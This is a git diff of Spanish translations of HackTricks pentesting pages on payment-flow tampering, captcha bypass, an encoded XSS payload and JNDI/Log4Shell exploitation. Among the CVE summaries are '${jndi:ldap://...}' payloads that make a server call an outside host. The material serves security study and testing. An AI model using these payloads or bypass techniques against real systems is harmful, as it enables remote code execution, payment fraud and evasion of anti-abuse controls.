- **Callback**: Este se utiliza típicamente para redirigir al usuario después de que se completa una transacción.
|
||||
|
||||
### Análisis de URL
|
||||
Si encuentras un parámetro que contiene una URL, especialmente uno que sigue el patrón _example.com/payment/MD5HASH_, requiere un examen más detallado. Aquí hay un enfoque paso a paso:
|
||||
Si encuentras un parámetro que contiene una URL, especialmente una que sigue el patrón _example.com/payment/MD5HASH_, requiere un examen más detallado. Aquí hay un enfoque paso a paso:
|
||||
|
||||
1. **Copia la URL**: Extrae la URL del valor del parámetro.
|
||||
2. **Inspección en Nueva Ventana**: Abre la URL copiada en una nueva ventana del navegador. Esta acción es crítica para entender el resultado de la transacción.
|
||||
|
||||
### Manipulación de Parámetros
|
||||
1. **Cambia los Valores de los Parámetros**: Experimenta alterando los valores de parámetros como _Success_, _Referrer_ o _Callback_. Por ejemplo, cambiar un parámetro de `false` a `true` puede a veces revelar cómo el sistema maneja estas entradas.
|
||||
1. **Cambia los Valores de los Parámetros**: Experimenta alterando los valores de parámetros como _Success_, _Referrer_ o _Callback_. Por ejemplo, cambiar un parámetro de `false` a `true` a veces puede revelar cómo el sistema maneja estas entradas.
|
||||
2. **Elimina Parámetros**: Intenta eliminar ciertos parámetros por completo para ver cómo reacciona el sistema. Algunos sistemas pueden tener comportamientos predeterminados o de respaldo cuando faltan parámetros esperados.
|
||||
|
||||
### Alteración de Cookies
|
||||
1. **Examina las Cookies**: Muchos sitios web almacenan información crucial en cookies. Inspecciona estas cookies en busca de datos relacionados con el estado del pago o la autenticación del usuario.
|
||||
2. **Modifica los Valores de las Cookies**: Alterar los valores almacenados en las cookies y observa cómo cambia la respuesta o el comportamiento del sitio web.
|
||||
2. **Modifica los Valores de las Cookies**: Alterar los valores almacenados en las cookies y observar cómo cambia la respuesta o el comportamiento del sitio web.
|
||||
|
||||
### Secuestro de Sesiones
|
||||
1. **Tokens de Sesión**: Si se utilizan tokens de sesión en el proceso de pago, intenta capturarlos y manipularlos. Esto podría dar información sobre vulnerabilidades en la gestión de sesiones.
|
||||
|
||||
### Alteración de Respuestas
|
||||
1. **Intercepta Respuestas**: Utiliza herramientas para interceptar y analizar las respuestas del servidor. Busca cualquier dato que pueda indicar una transacción exitosa o revelar los próximos pasos en el proceso de pago.
|
||||
2. **Modifica Respuestas**: Intenta modificar las respuestas antes de que sean procesadas por el navegador o la aplicación para simular un escenario de transacción exitosa.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
1. **Interceptar Respuestas**: Utiliza herramientas para interceptar y analizar las respuestas del servidor. Busca cualquier dato que pueda indicar una transacción exitosa o revelar los próximos pasos en el proceso de pago.
|
||||
2. **Modificar Respuestas**: Intenta modificar las respuestas antes de que sean procesadas por el navegador o la aplicación para simular un escenario de transacción exitosa.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -1,64 +1,61 @@
|
|||
# Captcha Bypass
|
||||
# Bypass de Captcha
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Captcha Bypass
|
||||
## Bypass de Captcha
|
||||
|
||||
Para **eludir** el captcha durante **las pruebas del servidor** y automatizar las funciones de entrada de usuario, se pueden emplear varias técnicas. El objetivo no es socavar la seguridad, sino agilizar el proceso de prueba. Aquí hay una lista completa de estrategias:
|
||||
Para **bypassear** el captcha durante las **pruebas del servidor** y automatizar funciones de entrada de usuario, se pueden emplear varias técnicas. El objetivo no es socavar la seguridad, sino agilizar el proceso de prueba. Aquí hay una lista completa de estrategias:
|
||||
|
||||
1. **Manipulación de Parámetros**:
|
||||
* **Omitir el Parámetro Captcha**: Evitar enviar el parámetro captcha. Experimentar con cambiar el método HTTP de POST a GET u otros verbos, y alterar el formato de datos, como cambiar entre datos de formulario y JSON.
|
||||
* **Enviar Captcha Vacío**: Enviar la solicitud con el parámetro captcha presente pero vacío.
|
||||
* **Omitir el Parámetro de Captcha**: Evita enviar el parámetro de captcha. Experimenta cambiando el método HTTP de POST a GET u otros verbos, y alterando el formato de datos, como cambiar entre datos de formulario y JSON.
|
||||
* **Enviar Captcha Vacío**: Envía la solicitud con el parámetro de captcha presente pero vacío.
|
||||
|
||||
2. **Extracción y Reutilización de Valores**:
|
||||
* **Inspección del Código Fuente**: Buscar el valor del captcha dentro del código fuente de la página.
|
||||
* **Análisis de Cookies**: Examinar las cookies para ver si el valor del captcha está almacenado y se reutiliza.
|
||||
* **Reutilizar Valores de Captcha Antiguos**: Intentar usar valores de captcha previamente exitosos nuevamente. Tenga en cuenta que pueden caducar en cualquier momento.
|
||||
* **Manipulación de Sesiones**: Intentar usar el mismo valor de captcha en diferentes sesiones o el mismo ID de sesión.
|
||||
* **Inspección del Código Fuente**: Busca el valor del captcha dentro del código fuente de la página.
|
||||
* **Análisis de Cookies**: Examina las cookies para ver si el valor del captcha está almacenado y se reutiliza.
|
||||
* **Reutilizar Valores de Captcha Antiguos**: Intenta usar valores de captcha previamente exitosos nuevamente. Ten en cuenta que pueden expirar en cualquier momento.
|
||||
* **Manipulación de Sesiones**: Intenta usar el mismo valor de captcha en diferentes sesiones o el mismo ID de sesión.
|
||||
|
||||
3. **Automatización y Reconocimiento**:
|
||||
* **Captchas Matemáticos**: Si el captcha implica operaciones matemáticas, automatizar el proceso de cálculo.
|
||||
* **Captchas Matemáticos**: Si el captcha implica operaciones matemáticas, automatiza el proceso de cálculo.
|
||||
* **Reconocimiento de Imágenes**:
|
||||
* Para captchas que requieren leer caracteres de una imagen, determinar manual o programáticamente el número total de imágenes únicas. Si el conjunto es limitado, puede identificar cada imagen por su hash MD5.
|
||||
* Utilizar herramientas de Reconocimiento Óptico de Caracteres (OCR) como [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) para automatizar la lectura de caracteres de imágenes.
|
||||
* Para captchas que requieren leer caracteres de una imagen, determina manual o programáticamente el número total de imágenes únicas. Si el conjunto es limitado, podrías identificar cada imagen por su hash MD5.
|
||||
* Utiliza herramientas de Reconocimiento Óptico de Caracteres (OCR) como [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) para automatizar la lectura de caracteres de imágenes.
|
||||
|
||||
4. **Técnicas Adicionales**:
|
||||
* **Pruebas de Límite de Tasa**: Verificar si la aplicación limita el número de intentos o envíos en un período de tiempo determinado y si este límite se puede eludir o restablecer.
|
||||
* **Servicios de Terceros**: Emplear servicios o APIs de resolución de captcha que ofrezcan reconocimiento y solución automatizada de captcha.
|
||||
* **Rotación de Sesiones e IP**: Cambiar frecuentemente los IDs de sesión y las direcciones IP para evitar la detección y el bloqueo por parte del servidor.
|
||||
* **Pruebas de Límite de Tasa**: Verifica si la aplicación limita el número de intentos o envíos en un período de tiempo dado y si este límite se puede eludir o restablecer.
|
||||
* **Servicios de Terceros**: Emplea servicios o APIs de resolución de captcha que ofrezcan reconocimiento y solución automatizada de captcha.
|
||||
* **Rotación de Sesiones e IP**: Cambia frecuentemente los IDs de sesión y las direcciones IP para evitar la detección y el bloqueo por parte del servidor.
|
||||
* **Manipulación de User-Agent y Encabezados**: Alterar el User-Agent y otros encabezados de solicitud para imitar diferentes navegadores o dispositivos.
|
||||
* **Análisis de Captcha de Audio**: Si hay una opción de captcha de audio disponible, utilizar servicios de conversión de voz a texto para interpretar y resolver el captcha.
|
||||
* **Análisis de Captcha de Audio**: Si hay una opción de captcha de audio disponible, utiliza servicios de conversión de voz a texto para interpretar y resolver el captcha.
|
||||
|
||||
## Online Services to solve captchas
|
||||
|
||||
### [Capsolver](https://www.capsolver.com/)
|
||||
|
||||
El solucionador automático de captcha de Capsolver ofrece una **solución de resolución de captcha asequible y rápida**. Puede combinarlo rápidamente con su programa utilizando su opción de integración simple para lograr los mejores resultados en cuestión de segundos. Puede resolver reCAPTCHA V2 y V3, hCaptcha, FunCaptcha, datadome, aws captcha, picture-to-text, binance / coinmarketcap captcha, geetest v3, y más. Sin embargo, esto no es un bypass en sí.
|
||||
## Servicios en Línea para resolver captchas
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,19 +15,6 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes revisar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Resumen
|
||||
|
||||
|
@ -102,17 +89,7 @@ javascript:alert(1)%252f%252f..%252fcss-images
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,24 +15,16 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
## Basic Information
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
JNDI, integrado en Java desde finales de la década de 1990, sirve como un servicio de directorio, permitiendo que los programas Java localicen datos u objetos a través de un sistema de nombres. Soporta varios servicios de directorio a través de interfaces de proveedor de servicios (SPIs), permitiendo la recuperación de datos de diferentes sistemas, incluidos objetos Java remotos. Los SPIs comunes incluyen CORBA COS, Java RMI Registry y LDAP.
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Información Básica
|
||||
|
||||
JNDI, integrado en Java desde finales de la década de 1990, sirve como un servicio de directorio, permitiendo a los programas Java localizar datos u objetos a través de un sistema de nombres. Soporta varios servicios de directorio a través de interfaces de proveedor de servicios (SPIs), permitiendo la recuperación de datos de diferentes sistemas, incluidos objetos Java remotos. Los SPIs comunes incluyen CORBA COS, Java RMI Registry y LDAP.
|
||||
|
||||
### Referencia de Nombres JNDI
|
||||
### JNDI Naming Reference
|
||||
|
||||
Los objetos Java pueden ser almacenados y recuperados utilizando Referencias de Nombres JNDI, que vienen en dos formas:
|
||||
|
||||
* **Direcciones de Referencia**: Especifica la ubicación de un objeto (por ejemplo, _rmi://server/ref_), permitiendo la recuperación directa desde la dirección especificada.
|
||||
* **Fábrica Remota**: Hace referencia a una clase de fábrica remota. Cuando se accede, la clase se descarga e instancia desde la ubicación remota.
|
||||
* **Reference Addresses**: Especifica la ubicación de un objeto (por ejemplo, _rmi://server/ref_), permitiendo la recuperación directa desde la dirección especificada.
|
||||
* **Remote Factory**: Hace referencia a una clase de fábrica remota. Cuando se accede, la clase se descarga e instancia desde la ubicación remota.
|
||||
|
||||
Sin embargo, este mecanismo puede ser explotado, lo que puede llevar a la carga y ejecución de código arbitrario. Como contramedida:
|
||||
|
||||
|
@ -40,7 +32,7 @@ Sin embargo, este mecanismo puede ser explotado, lo que puede llevar a la carga
|
|||
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` por defecto desde JDK 6u141, 7u131, 8u121, bloqueando la ejecución de objetos Java cargados remotamente. Si se establece en `true`, la ejecución de código remoto es posible sin la supervisión de un Administrador de Seguridad.
|
||||
* **CORBA**: No tiene una propiedad específica, pero el Administrador de Seguridad siempre está activo.
|
||||
|
||||
Sin embargo, el **Administrador de Nombres**, responsable de resolver enlaces JNDI, carece de mecanismos de seguridad integrados, lo que puede permitir la recuperación de objetos de cualquier fuente. Esto representa un riesgo, ya que las protecciones de RMI, LDAP y CORBA pueden ser eludidas, lo que lleva a la carga de objetos Java arbitrarios o a la explotación de componentes de aplicación existentes (gadgets) para ejecutar código malicioso.
|
||||
Sin embargo, el **Naming Manager**, responsable de resolver enlaces JNDI, carece de mecanismos de seguridad integrados, lo que puede permitir la recuperación de objetos de cualquier fuente. Esto representa un riesgo, ya que las protecciones de RMI, LDAP y CORBA pueden ser eludidas, lo que lleva a la carga de objetos Java arbitrarios o a la explotación de componentes de aplicación existentes (gadgets) para ejecutar código malicioso.
|
||||
|
||||
Ejemplos de URLs explotables incluyen:
|
||||
|
||||
|
@ -50,17 +42,17 @@ Ejemplos de URLs explotables incluyen:
|
|||
|
||||
A pesar de las protecciones, las vulnerabilidades persisten, principalmente debido a la falta de salvaguardias contra la carga de JNDI desde fuentes no confiables y la posibilidad de eludir las protecciones existentes.
|
||||
|
||||
### Ejemplo de JNDI
|
||||
### JNDI Example
|
||||
|
||||
![](<../../.gitbook/assets/image (1022).png>)
|
||||
|
||||
Incluso si has establecido un **`PROVIDER_URL`**, puedes indicar uno diferente en una búsqueda y se accederá: `ctx.lookup("<attacker-controlled-url>")` y eso es lo que un atacante abusará para cargar objetos arbitrarios desde un sistema controlado por él.
|
||||
|
||||
### Visión General de CORBA
|
||||
### CORBA Overview
|
||||
|
||||
CORBA (Common Object Request Broker Architecture) emplea una **Referencia de Objeto Interoperable (IOR)** para identificar de manera única objetos remotos. Esta referencia incluye información esencial como:
|
||||
CORBA (Common Object Request Broker Architecture) emplea una **Interoperable Object Reference (IOR)** para identificar de manera única objetos remotos. Esta referencia incluye información esencial como:
|
||||
|
||||
* **ID de Tipo**: Identificador único para una interfaz.
|
||||
* **Type ID**: Identificador único para una interfaz.
|
||||
* **Codebase**: URL para obtener la clase stub.
|
||||
|
||||
Notablemente, CORBA no es inherentemente vulnerable. Asegurar la seguridad típicamente implica:
|
||||
|
@ -72,63 +64,63 @@ Notablemente, CORBA no es inherentemente vulnerable. Asegurar la seguridad típi
|
|||
|
||||
Sin embargo, algunas políticas de proveedores pueden ser indulgentes y permitir estas conexiones por defecto.
|
||||
|
||||
### Contexto RMI
|
||||
### RMI Context
|
||||
|
||||
Para RMI (Remote Method Invocation), la situación es algo diferente. Al igual que con CORBA, la descarga de clases arbitrarias está restringida por defecto. Para explotar RMI, uno típicamente necesitaría eludir el Administrador de Seguridad, un logro que también es relevante en CORBA.
|
||||
|
||||
### LDAP
|
||||
|
||||
Primero que nada, necesitamos distinguir entre una Búsqueda y una Consulta.\
|
||||
Una **búsqueda** utilizará una URL como `ldap://localhost:389/o=JNDITutorial` para encontrar el objeto JNDITutorial de un servidor LDAP y **recuperar sus atributos**.\
|
||||
Una **consulta** está destinada a **servicios de nombres** ya que queremos obtener **cualquier cosa que esté vinculada a un nombre**.
|
||||
Primero que nada, necesitamos distinguir entre una Búsqueda y una Búsqueda por Nombre.\
|
||||
Una **búsqueda** utilizará una URL como `ldap://localhost:389/o=JNDITutorial` para encontrar el objeto JNDITutorial desde un servidor LDAP y **recuperar sus atributos**.\
|
||||
Una **búsqueda por nombre** está destinada a **servicios de nombres** ya que queremos obtener **cualquier cosa que esté vinculada a un nombre**.
|
||||
|
||||
Si la búsqueda LDAP fue invocada con **SearchControls.setReturningObjFlag() con `true`, entonces el objeto devuelto será reconstruido**.
|
||||
|
||||
Por lo tanto, hay varias formas de atacar estas opciones.\
|
||||
Un **atacante puede envenenar registros LDAP introduciendo cargas útiles** en ellos que serán ejecutadas en los sistemas que las recojan (muy útil para **comprometer decenas de máquinas** si tienes acceso al servidor LDAP). Otra forma de explotar esto sería realizar un **ataque MitM en una búsqueda LDAP**, por ejemplo.
|
||||
Un **atacante puede envenenar registros LDAP introduciendo cargas útiles** en ellos que serán ejecutadas en los sistemas que las recopilan (muy útil para **comprometer decenas de máquinas** si tienes acceso al servidor LDAP). Otra forma de explotar esto sería realizar un **ataque MitM en una búsqueda LDAP**, por ejemplo.
|
||||
|
||||
En caso de que puedas **hacer que una aplicación resuelva una URL JNDI LDAP**, puedes controlar el LDAP que será buscado, y podrías devolver la explotación (log4shell).
|
||||
|
||||
#### Explotación de deserialización
|
||||
#### Deserialization exploit
|
||||
|
||||
![](<../../.gitbook/assets/image (275).png>)
|
||||
|
||||
La **explotación está serializada** y será deserializada.\
|
||||
En caso de que `trustURLCodebase` sea `true`, un atacante puede proporcionar sus propias clases en el codebase, si no, necesitará abusar de gadgets en el classpath.
|
||||
En caso de que `trustURLCodebase` sea `true`, un atacante puede proporcionar sus propias clases en el codebase, de lo contrario, necesitará abusar de gadgets en el classpath.
|
||||
|
||||
#### Explotación de referencia JNDI
|
||||
#### JNDI Reference exploit
|
||||
|
||||
Es más fácil atacar este LDAP usando **referencias JavaFactory**:
|
||||
Es más fácil atacar este LDAP usando **JavaFactory references**:
|
||||
|
||||
![](<../../.gitbook/assets/image (1059).png>)
|
||||
|
||||
## Vulnerabilidad Log4Shell
|
||||
## Log4Shell Vulnerability
|
||||
|
||||
La vulnerabilidad se introduce en Log4j porque soporta una [**sintaxis especial**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) en la forma `${prefix:name}` donde `prefix` es uno de varios [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) donde `name` debe ser evaluado. Por ejemplo, `${java:version}` es la versión actual de Java en ejecución.
|
||||
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introdujo una función de búsqueda `jndi`. Esta función permite la recuperación de variables a través de JNDI. Típicamente, la clave se antepone automáticamente con `java:comp/env/`. Sin embargo, si la clave en sí incluye un **":"**, este prefijo predeterminado no se aplica.
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) introdujo una función de búsqueda `jndi`. Esta función permite la recuperación de variables a través de JNDI. Típicamente, la clave se prefija automáticamente con `java:comp/env/`. Sin embargo, si la clave misma incluye un **":"**, este prefijo predeterminado no se aplica.
|
||||
|
||||
Con un **: presente** en la clave, como en `${jndi:ldap://example.com/a}` no hay **prefijo** y se **consulta al servidor LDAP por el objeto**. Y estas búsquedas pueden ser utilizadas tanto en la configuración de Log4j como cuando se registran líneas.
|
||||
|
||||
Por lo tanto, lo único que se necesita para obtener RCE es una **versión vulnerable de Log4j procesando información controlada por el usuario**. Y debido a que esta es una biblioteca ampliamente utilizada por aplicaciones Java para registrar información (incluidas aplicaciones expuestas a Internet), era muy común tener log4j registrando, por ejemplo, encabezados HTTP recibidos como el User-Agent. Sin embargo, log4j **no se utiliza solo para registrar información HTTP, sino cualquier entrada** y datos que el desarrollador indicó.
|
||||
|
||||
## Visión General de CVEs Relacionados con Log4Shell
|
||||
## Overview of Log4Shell-Related CVEs
|
||||
|
||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Crítico]**
|
||||
|
||||
Esta vulnerabilidad es un **fallo de deserialización no confiable** crítico en el componente `log4j-core`, que afecta versiones desde 2.0-beta9 hasta 2.14.1. Permite **ejecución remota de código (RCE)**, permitiendo a los atacantes tomar el control de los sistemas. El problema fue reportado por Chen Zhaojun del equipo de seguridad de Alibaba Cloud y afecta a varios frameworks de Apache. La solución inicial en la versión 2.15.0 fue incompleta. Las reglas Sigma para defensa están disponibles ([Regla 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Regla 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
|
||||
Esta vulnerabilidad es un **fallo de deserialización no confiable** crítico en el componente `log4j-core`, que afecta versiones desde 2.0-beta9 hasta 2.14.1. Permite **ejecución remota de código (RCE)**, permitiendo a los atacantes tomar el control de los sistemas. El problema fue reportado por Chen Zhaojun del equipo de seguridad de Alibaba Cloud y afecta a varios marcos de Apache. La solución inicial en la versión 2.15.0 fue incompleta. Las reglas Sigma para defensa están disponibles ([Regla 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Regla 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
|
||||
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Crítico]**
|
||||
|
||||
Inicialmente calificado como bajo pero luego elevado a crítico, este CVE es un **fallo de Denegación de Servicio (DoS)** resultante de una solución incompleta en 2.15.0 para CVE-2021-44228. Afecta configuraciones no predeterminadas, permitiendo a los atacantes causar ataques DoS a través de cargas útiles elaboradas. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) muestra un método de elusión. El problema se resuelve en las versiones 2.16.0 y 2.12.2 al eliminar patrones de búsqueda de mensajes y deshabilitar JNDI por defecto.
|
||||
Inicialmente calificado como bajo pero luego actualizado a crítico, este CVE es un **fallo de Denegación de Servicio (DoS)** resultante de una solución incompleta en 2.15.0 para CVE-2021-44228. Afecta configuraciones no predeterminadas, permitiendo a los atacantes causar ataques DoS a través de cargas útiles diseñadas. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) muestra un método de elusión. El problema se resolvió en las versiones 2.16.0 y 2.12.2 al eliminar patrones de búsqueda de mensajes y deshabilitar JNDI por defecto.
|
||||
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Alto]**
|
||||
|
||||
Afectando a **versiones Log4j 1.x** en configuraciones no predeterminadas que utilizan `JMSAppender`, este CVE es un fallo de deserialización no confiable. No hay solución disponible para la rama 1.x, que está al final de su vida útil, y se recomienda actualizar a `log4j-core 2.17.0`.
|
||||
Afectando a **versiones de Log4j 1.x** en configuraciones no predeterminadas que utilizan `JMSAppender`, este CVE es un fallo de deserialización no confiable. No hay solución disponible para la rama 1.x, que está fuera de soporte, y se recomienda actualizar a `log4j-core 2.17.0`.
|
||||
|
||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderado]**
|
||||
|
||||
Esta vulnerabilidad afecta al **framework de registro Logback**, un sucesor de Log4j 1.x. Anteriormente se pensaba que era seguro, pero se encontró que el framework era vulnerable, y se han lanzado versiones más nuevas (1.3.0-alpha11 y 1.2.9) para abordar el problema.
|
||||
Esta vulnerabilidad afecta al **marco de registro Logback**, un sucesor de Log4j 1.x. Anteriormente se pensaba que era seguro, el marco se encontró vulnerable, y se han lanzado versiones más nuevas (1.3.0-alpha11 y 1.2.9) para abordar el problema.
|
||||
|
||||
### **CVE-2021-45105** **\[Alto]**
|
||||
|
||||
|
@ -136,11 +128,11 @@ Log4j 2.16.0 contiene un fallo de DoS, lo que llevó al lanzamiento de `log4j 2.
|
|||
|
||||
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
||||
|
||||
Afectando a la versión log4j 2.17, este CVE requiere que el atacante controle el archivo de configuración de log4j. Involucra la posible ejecución de código arbitrario a través de un JDBCAppender configurado. Más detalles están disponibles en el [blog de Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||||
Afectando a la versión 2.17 de log4j, este CVE requiere que el atacante controle el archivo de configuración de log4j. Involucra la posible ejecución de código arbitrario a través de un JDBCAppender configurado. Más detalles están disponibles en el [blog de Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||||
|
||||
## Explotación de Log4Shell
|
||||
## Log4Shell Exploitation
|
||||
|
||||
### Descubrimiento
|
||||
### Discovery
|
||||
|
||||
Esta vulnerabilidad es muy fácil de descubrir si no está protegida porque enviará al menos una **solicitud DNS** a la dirección que indiques en tu carga útil. Por lo tanto, cargas útiles como:
|
||||
|
||||
|
@ -148,7 +140,7 @@ Esta vulnerabilidad es muy fácil de descubrir si no está protegida porque envi
|
|||
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (usando [interactsh](https://github.com/projectdiscovery/interactsh))
